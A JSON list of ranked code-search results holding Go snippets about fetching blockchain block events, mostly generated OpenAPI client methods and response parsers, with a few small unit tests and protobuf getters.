[ { "docid": "c446c9c30b89c7a360d34aaa3ec7f60a", "score": "0.71021616", "text": "func ParseGetEventBlockResponse(rsp *http.Response) (*GetEventBlockResponse, error) {\n\tbodyBytes, err := ioutil.ReadAll(rsp.Body)\n\tdefer func() { _ = rsp.Body.Close() }()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresponse := &GetEventBlockResponse{\n\t\tBody: bodyBytes,\n\t\tHTTPResponse: rsp,\n\t}\n\n\tswitch {\n\tcase strings.Contains(rsp.Header.Get(\"Content-Type\"), \"json\") && rsp.StatusCode == 200:\n\t\tvar dest []LogEvent\n\t\tif err := json.Unmarshal(bodyBytes, &dest); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresponse.JSON200 = &dest\n\n\tcase strings.Contains(rsp.Header.Get(\"Content-Type\"), \"json\") && rsp.StatusCode == 404:\n\t\tvar dest Message\n\t\tif err := json.Unmarshal(bodyBytes, &dest); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresponse.JSON404 = &dest\n\n\t}\n\n\treturn response, nil\n}", "title": "" }, { "docid": "2f7db2f89232b4f5e2b1303b212082b7", "score": "0.6875982", "text": "func (c *ClientWithResponses) GetEventBlockInfoWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetEventBlockInfoResponse, error) {\n\trsp, err := c.GetEventBlockInfo(ctx, reqEditors...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn ParseGetEventBlockInfoResponse(rsp)\n}", "title": "" }, { "docid": "2af2e8a79a748d884b804f91fe748d88", "score": "0.64000386", "text": "func ParseGetEventBlockInfoResponse(rsp *http.Response) (*GetEventBlockInfoResponse, error) {\n\tbodyBytes, err := ioutil.ReadAll(rsp.Body)\n\tdefer func() { _ = rsp.Body.Close() }()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresponse := &GetEventBlockInfoResponse{\n\t\tBody: bodyBytes,\n\t\tHTTPResponse: rsp,\n\t}\n\n\tswitch {\n\tcase strings.Contains(rsp.Header.Get(\"Content-Type\"), \"json\") && rsp.StatusCode == 200:\n\t\tvar dest struct {\n\t\t\tMax *int `json:\"max,omitempty\"`\n\t\t\tMin *int `json:\"min,omitempty\"`\n\t\t}\n\t\tif err := json.Unmarshal(bodyBytes, &dest); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresponse.JSON200 = &dest\n\n\t}\n\n\treturn response, nil\n}", "title": "" }, { "docid": "e163dbce007a8f6c36ab0678b443068c", "score": "0.632445", "text": "func (a *CorecontractsApiService) BlocklogGetEventsOfRequestExecute(r ApiBlocklogGetEventsOfRequestRequest) (*EventsResponse, *http.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = http.MethodGet\n\t\tlocalVarPostBody interface{}\n\t\tformFiles []formFile\n\t\tlocalVarReturnValue *EventsResponse\n\t)\n\n\tlocalBasePath, err := a.client.cfg.ServerURLWithContext(r.ctx, \"CorecontractsApiService.BlocklogGetEventsOfRequest\")\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, &GenericOpenAPIError{error: err.Error()}\n\t}\n\n\tlocalVarPath := localBasePath + \"/v1/chains/{chainID}/core/blocklog/events/request/{requestID}\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"chainID\"+\"}\", url.PathEscape(parameterValueToString(r.chainID, \"chainID\")), -1)\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"requestID\"+\"}\", url.PathEscape(parameterValueToString(r.requestID, \"requestID\")), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := url.Values{}\n\n\tif r.block != nil {\n\t\tparameterAddToQuery(localVarQueryParams, \"block\", r.block, \"\")\n\t}\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\treq, err := a.client.prepareRequest(r.ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, formFiles)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(req)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tlocalVarHTTPResponse.Body = ioutil.NopCloser(bytes.NewBuffer(localVarBody))\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := &GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 401 {\n\t\t\tvar v ValidationError\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\t\t\tnewErr.error = formatErrorMessage(localVarHTTPResponse.Status, &v)\n\t\t\t\t\tnewErr.model = v\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := &GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "title": "" }, { "docid": "b37f7e76544c91a6b8c4940e9851f262", "score": "0.63097906", "text": "func (a *CorecontractsApiService) BlocklogGetEventsOfBlockExecute(r ApiBlocklogGetEventsOfBlockRequest) (*EventsResponse, *http.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = http.MethodGet\n\t\tlocalVarPostBody interface{}\n\t\tformFiles []formFile\n\t\tlocalVarReturnValue *EventsResponse\n\t)\n\n\tlocalBasePath, err := a.client.cfg.ServerURLWithContext(r.ctx, \"CorecontractsApiService.BlocklogGetEventsOfBlock\")\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, &GenericOpenAPIError{error: err.Error()}\n\t}\n\n\tlocalVarPath := localBasePath + \"/v1/chains/{chainID}/core/blocklog/events/block/{blockIndex}\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"chainID\"+\"}\", url.PathEscape(parameterValueToString(r.chainID, \"chainID\")), -1)\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"blockIndex\"+\"}\", url.PathEscape(parameterValueToString(r.blockIndex, \"blockIndex\")), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := url.Values{}\n\tif r.blockIndex < 1 {\n\t\treturn localVarReturnValue, nil, reportError(\"blockIndex must be greater than 1\")\n\t}\n\n\tif r.block != nil {\n\t\tparameterAddToQuery(localVarQueryParams, \"block\", r.block, \"\")\n\t}\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\treq, err := a.client.prepareRequest(r.ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, formFiles)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(req)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tlocalVarHTTPResponse.Body = ioutil.NopCloser(bytes.NewBuffer(localVarBody))\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := &GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 401 {\n\t\t\tvar v ValidationError\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\t\t\tnewErr.error = formatErrorMessage(localVarHTTPResponse.Status, &v)\n\t\t\t\t\tnewErr.model = v\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := &GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "title": "" }, { "docid": "8c060472b444a10957b19b5d9ce5ffa6", "score": "0.6158614", "text": "func (a *CorecontractsApiService) BlocklogGetEventsOfRequest(ctx context.Context, chainID string, requestID string) ApiBlocklogGetEventsOfRequestRequest {\n\treturn ApiBlocklogGetEventsOfRequestRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t\tchainID: chainID,\n\t\trequestID: requestID,\n\t}\n}", "title": "" }, { "docid": "1c5a8bd9f4bda86440be899558c8a6b8", "score": "0.6051194", "text": "func (a *CorecontractsApiService) BlocklogGetEventsOfLatestBlock(ctx context.Context, chainID string) ApiBlocklogGetEventsOfLatestBlockRequest {\n\treturn ApiBlocklogGetEventsOfLatestBlockRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t\tchainID: chainID,\n\t}\n}", "title": "" }, { "docid": "35e0c345068f98503dff3418005d6b81", "score": "0.60447025", "text": "func viewGetEventsForBlock(ctx isc.SandboxView) dict.Dict {\n\tblockIndex := getBlockIndexParams(ctx)\n\n\tif blockIndex == 0 {\n\t\t// block 0 is an empty state\n\t\treturn nil\n\t}\n\n\tstateR := ctx.StateR()\n\tblockInfo, ok := GetBlockInfo(stateR, blockIndex)\n\tctx.Requiref(ok, \"block not found: %d\", blockIndex)\n\tevents := GetEventsByBlockIndex(stateR, blockIndex, blockInfo.TotalRequests)\n\n\tret := eventsToDict(events)\n\tret.Set(ParamBlockIndex, codec.Encode(blockIndex))\n\treturn ret\n}", "title": "" }, { "docid": "62174345afb5ee22cb2b827a82d9d67c", "score": "0.6042399", "text": "func (a *CorecontractsApiService) BlocklogGetEventsOfBlock(ctx context.Context, chainID string, blockIndex uint32) ApiBlocklogGetEventsOfBlockRequest {\n\treturn ApiBlocklogGetEventsOfBlockRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t\tchainID: chainID,\n\t\tblockIndex: blockIndex,\n\t}\n}", "title": "" }, { "docid": "6e8e141b5986141767748c25173d893e", "score": "0.60192597", "text": "func TestGetBlockInfo(t *testing.T) {\n\td := new(mocks.Downstream)\n\ts := service.NewBlockAPI(d)\n\tr := domain.Request{\n\t\tHash: \"12w1wefafdv\",\n\t\tNetCode: \"BTC\",\n\t}\n\td.On(\"GetBlock\", \"12w1wefafdv\", \"BTC\").Return(nil, nil)\n\t_, e := s.GetBlockInfo(&r)\n\tassert.Equal(t, e, nil)\n}", "title": "" }, { "docid": "ebdef837867d221ac109355c152944f8", "score": "0.6001628", "text": "func (a *CorecontractsApiService) BlocklogGetEventsOfContract(ctx context.Context, chainID string, contractHname string) ApiBlocklogGetEventsOfContractRequest {\n\treturn ApiBlocklogGetEventsOfContractRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t\tchainID: chainID,\n\t\tcontractHname: contractHname,\n\t}\n}", "title": "" }, { "docid": "5e850a827d9efaafeb4a9a5c429b2b6d", "score": "0.5993317", "text": "func (a *CorecontractsApiService) BlocklogGetEventsOfContractExecute(r ApiBlocklogGetEventsOfContractRequest) (*EventsResponse, *http.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = http.MethodGet\n\t\tlocalVarPostBody interface{}\n\t\tformFiles []formFile\n\t\tlocalVarReturnValue *EventsResponse\n\t)\n\n\tlocalBasePath, err := a.client.cfg.ServerURLWithContext(r.ctx, \"CorecontractsApiService.BlocklogGetEventsOfContract\")\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, &GenericOpenAPIError{error: err.Error()}\n\t}\n\n\tlocalVarPath := localBasePath + \"/v1/chains/{chainID}/core/blocklog/events/contract/{contractHname}\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"chainID\"+\"}\", url.PathEscape(parameterValueToString(r.chainID, \"chainID\")), -1)\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"contractHname\"+\"}\", url.PathEscape(parameterValueToString(r.contractHname, \"contractHname\")), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := url.Values{}\n\n\tif r.block != nil {\n\t\tparameterAddToQuery(localVarQueryParams, \"block\", r.block, \"\")\n\t}\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\treq, err := a.client.prepareRequest(r.ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, formFiles)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(req)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tlocalVarHTTPResponse.Body = ioutil.NopCloser(bytes.NewBuffer(localVarBody))\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := &GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 401 {\n\t\t\tvar v ValidationError\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\t\t\tnewErr.error = formatErrorMessage(localVarHTTPResponse.Status, &v)\n\t\t\t\t\tnewErr.model = v\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := &GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "title": "" }, { "docid": "e489007e38cdd79276469c21728fe3f8", "score": "0.59288895", "text": "func (a *CorecontractsApiService) BlocklogGetEventsOfLatestBlockExecute(r ApiBlocklogGetEventsOfLatestBlockRequest) (*EventsResponse, *http.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = http.MethodGet\n\t\tlocalVarPostBody interface{}\n\t\tformFiles []formFile\n\t\tlocalVarReturnValue *EventsResponse\n\t)\n\n\tlocalBasePath, err := a.client.cfg.ServerURLWithContext(r.ctx, \"CorecontractsApiService.BlocklogGetEventsOfLatestBlock\")\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, &GenericOpenAPIError{error: err.Error()}\n\t}\n\n\tlocalVarPath := localBasePath + \"/v1/chains/{chainID}/core/blocklog/events/block/latest\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"chainID\"+\"}\", url.PathEscape(parameterValueToString(r.chainID, \"chainID\")), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := url.Values{}\n\n\tif r.block != nil {\n\t\tparameterAddToQuery(localVarQueryParams, \"block\", r.block, \"\")\n\t}\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\treq, err := a.client.prepareRequest(r.ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, formFiles)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(req)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tlocalVarHTTPResponse.Body = ioutil.NopCloser(bytes.NewBuffer(localVarBody))\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := &GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 401 {\n\t\t\tvar v ValidationError\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\t\t\tnewErr.error = formatErrorMessage(localVarHTTPResponse.Status, &v)\n\t\t\t\t\tnewErr.model = v\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := &GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "title": "" }, { "docid": "8ea95df5f6722dc33918373edbc76fad", "score": "0.5909964", "text": "func (r ApiBlocklogGetEventsOfRequestRequest) Block(block string) ApiBlocklogGetEventsOfRequestRequest {\n\tr.block = &block\n\treturn r\n}", "title": "" }, { "docid": "6109d4387a1b04c2cf3023564386ff26", "score": "0.583258", "text": "func getBtcBlock(w http.ResponseWriter, r *http.Request) {\n\tparam := mux.Vars(r)\n\thelper := rpchelper{param}\n\tblock, err, status := helper.getBlockDetail()\n\tif err != nil {\n\t\tw.Write([]byte(`{\"result\":\"` + err.Error() + `\",\"status\":` + strconv.Itoa(status) + `}`))\n\t\treturn\n\t}\n\tw.Write([]byte(`{\"result\":` + block + `,\"status\":200}`))\n\n}", "title": "" }, { "docid": "cbcefe817a13a2b79ebc546be3fc4467", "score": "0.5759523", "text": "func (x *fastReflection_ResponseBeginBlock) Get(descriptor protoreflect.FieldDescriptor) protoreflect.Value {\n\tswitch descriptor.FullName() {\n\tcase \"tendermint.abci.ResponseBeginBlock.events\":\n\t\tif len(x.Events) == 0 {\n\t\t\treturn protoreflect.ValueOfList(&_ResponseBeginBlock_1_list{})\n\t\t}\n\t\tlistValue := &_ResponseBeginBlock_1_list{list: &x.Events}\n\t\treturn protoreflect.ValueOfList(listValue)\n\tdefault:\n\t\tif descriptor.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: tendermint.abci.ResponseBeginBlock\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message tendermint.abci.ResponseBeginBlock does not contain field %s\", descriptor.FullName()))\n\t}\n}", "title": "" }, { "docid": "e1a268e67273280bcd46de29db16ac53", "score": "0.5757425", "text": "func TestGetBlockInfo2(t *testing.T) {\n\td := new(mocks.Downstream)\n\ts := service.NewBlockAPI(d)\n\tr := domain.Request{\n\t\tHash: \"12w1wefafdv\",\n\t\tNetCode: \"BTC\",\n\t}\n\td.On(\"GetBlock\", \"12w1wefafdv\", \"BTC\").Return(nil, errors.New(\"test error\"))\n\t_, e := s.GetBlockInfo(&r)\n\tassert.NotEqual(t, e, nil)\n}", "title": "" }, { "docid": "3b77aabd4e8489a9e15a876dadf2badf", "score": "0.5747854", "text": "func (r ApiBlocklogGetEventsOfContractRequest) Block(block string) ApiBlocklogGetEventsOfContractRequest {\n\tr.block = &block\n\treturn r\n}", "title": "" }, { "docid": "5800d18acb0578aaed7faac1b74d7e52", "score": "0.572556", "text": "func NewGetEventBlockRequest(server string, index int) (*http.Request, error) {\n\tvar err error\n\n\tvar pathParam0 string\n\n\tpathParam0, err = runtime.StyleParamWithLocation(\"simple\", false, \"index\", runtime.ParamLocationPath, index)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tserverURL, err := url.Parse(server)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\toperationPath := fmt.Sprintf(\"/logs/%s\", pathParam0)\n\tif operationPath[0] == '/' {\n\t\toperationPath = \".\" + operationPath\n\t}\n\n\tqueryURL, err := serverURL.Parse(operationPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq, err := http.NewRequest(\"GET\", queryURL.String(), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn req, nil\n}", "title": "" }, { "docid": "5f3982608b48693729c777b73f80b5de", "score": "0.5697217", "text": "func DecodeGrpcRespGetEventRequest(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "ea44b01f35e0cc7cd7dc8f139fd443dc", "score": "0.56933224", "text": "func NewGetEventBlockInfoRequest(server string) (*http.Request, error) {\n\tvar err error\n\n\tserverURL, err := url.Parse(server)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\toperationPath := fmt.Sprintf(\"/logs\")\n\tif operationPath[0] == '/' {\n\t\toperationPath = \".\" + operationPath\n\t}\n\n\tqueryURL, err := serverURL.Parse(operationPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq, err := http.NewRequest(\"GET\", queryURL.String(), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn req, nil\n}", "title": "" }, { "docid": "8c8b81317611c3de013f6f7e76f6884e", "score": "0.5669478", "text": "func (s *Webserver) GetBlock(c echo.Context) error {\n\th, err := base64.URLEncoding.DecodeString(c.Param(\"hash\"))\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar hash [32]byte\n\tcopy(hash[:], h)\n\tblock := s.ch.Get(hash)\n\tc.Logger().Debug(block)\n\treturn c.JSON(http.StatusOK, block)\n}", "title": "" }, { "docid": "9d47828deaa52811c8d22942ed280faa", "score": "0.5616202", "text": "func (client *BlockBlobClient) getBlockListHandleResponse(resp *http.Response) (BlockBlobClientGetBlockListResponse, error) {\n\tresult := BlockBlobClientGetBlockListResponse{}\n\tif val := resp.Header.Get(\"Last-Modified\"); val != \"\" {\n\t\tlastModified, err := time.Parse(time.RFC1123, val)\n\t\tif err != nil {\n\t\t\treturn BlockBlobClientGetBlockListResponse{}, err\n\t\t}\n\t\tresult.LastModified = &lastModified\n\t}\n\tif val := resp.Header.Get(\"ETag\"); val != \"\" {\n\t\tresult.ETag = (*azcore.ETag)(&val)\n\t}\n\tif val := resp.Header.Get(\"Content-Type\"); val != \"\" {\n\t\tresult.ContentType = &val\n\t}\n\tif val := resp.Header.Get(\"x-ms-blob-content-length\"); val != \"\" {\n\t\tblobContentLength, err := strconv.ParseInt(val, 10, 64)\n\t\tif err != nil {\n\t\t\treturn BlockBlobClientGetBlockListResponse{}, err\n\t\t}\n\t\tresult.BlobContentLength = &blobContentLength\n\t}\n\tif val := resp.Header.Get(\"x-ms-client-request-id\"); val != \"\" {\n\t\tresult.ClientRequestID = &val\n\t}\n\tif val := resp.Header.Get(\"x-ms-request-id\"); val != \"\" {\n\t\tresult.RequestID = &val\n\t}\n\tif val := resp.Header.Get(\"x-ms-version\"); val != \"\" {\n\t\tresult.Version = &val\n\t}\n\tif val := resp.Header.Get(\"Date\"); val != \"\" {\n\t\tdate, err := time.Parse(time.RFC1123, val)\n\t\tif err != nil {\n\t\t\treturn BlockBlobClientGetBlockListResponse{}, err\n\t\t}\n\t\tresult.Date = &date\n\t}\n\tif err := runtime.UnmarshalAsXML(resp, &result.BlockList); err != nil {\n\t\treturn BlockBlobClientGetBlockListResponse{}, err\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "07702eabf86b8972618f4d50430be6f6", "score": "0.5598146", "text": "func (r ApiBlocklogGetEventsOfBlockRequest) Block(block string) ApiBlocklogGetEventsOfBlockRequest {\n\tr.block = &block\n\treturn r\n}", "title": "" }, { "docid": "98cd8452f581380c66c13e29485dda1d", "score": "0.55761486", "text": "func (p *Poset) GetEventBlock(e hash.Event) *inter.Block {\n\tnum := p.store.GetEventBlockNum(e)\n\tif num == nil {\n\t\treturn nil\n\t}\n\n\treturn p.store.GetBlock(*num)\n}", "title": "" }, { "docid": "494ed1c7aae1446ba2896b790d934365", "score": "0.5549534", "text": "func (r ApiBlocklogGetEventsOfLatestBlockRequest) Block(block string) ApiBlocklogGetEventsOfLatestBlockRequest {\n\tr.block = &block\n\treturn r\n}", "title": "" }, { "docid": "f78ad90a1d1908e9bda7afcedb05c477", "score": "0.5515563", "text": "func (*GetBlockResponse) Descriptor() ([]byte, []int) {\n\treturn file_bchrpc_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "16c338567c07522a020b7d46494f8aec", "score": "0.55042773", "text": "func (x *fastReflection_ResponseEndBlock) Get(descriptor protoreflect.FieldDescriptor) protoreflect.Value {\n\tswitch descriptor.FullName() {\n\tcase \"tendermint.abci.ResponseEndBlock.validator_updates\":\n\t\tif len(x.ValidatorUpdates) == 0 {\n\t\t\treturn protoreflect.ValueOfList(&_ResponseEndBlock_1_list{})\n\t\t}\n\t\tlistValue := &_ResponseEndBlock_1_list{list: &x.ValidatorUpdates}\n\t\treturn protoreflect.ValueOfList(listValue)\n\tcase \"tendermint.abci.ResponseEndBlock.consensus_param_updates\":\n\t\tvalue := x.ConsensusParamUpdates\n\t\treturn protoreflect.ValueOfMessage(value.ProtoReflect())\n\tcase \"tendermint.abci.ResponseEndBlock.events\":\n\t\tif len(x.Events) == 0 {\n\t\t\treturn protoreflect.ValueOfList(&_ResponseEndBlock_3_list{})\n\t\t}\n\t\tlistValue := &_ResponseEndBlock_3_list{list: &x.Events}\n\t\treturn protoreflect.ValueOfList(listValue)\n\tdefault:\n\t\tif descriptor.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: tendermint.abci.ResponseEndBlock\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message tendermint.abci.ResponseEndBlock does not contain field %s\", descriptor.FullName()))\n\t}\n}", "title": "" }, { "docid": "41cfcfba88a3da283c613a592e1796ea", "score": "0.54728043", "text": "func GetBlock(block int, rh *rejson.Handler, chainurl string) {\n\n\t// http://localhost:26657/block?height=5272289\n\t// res, 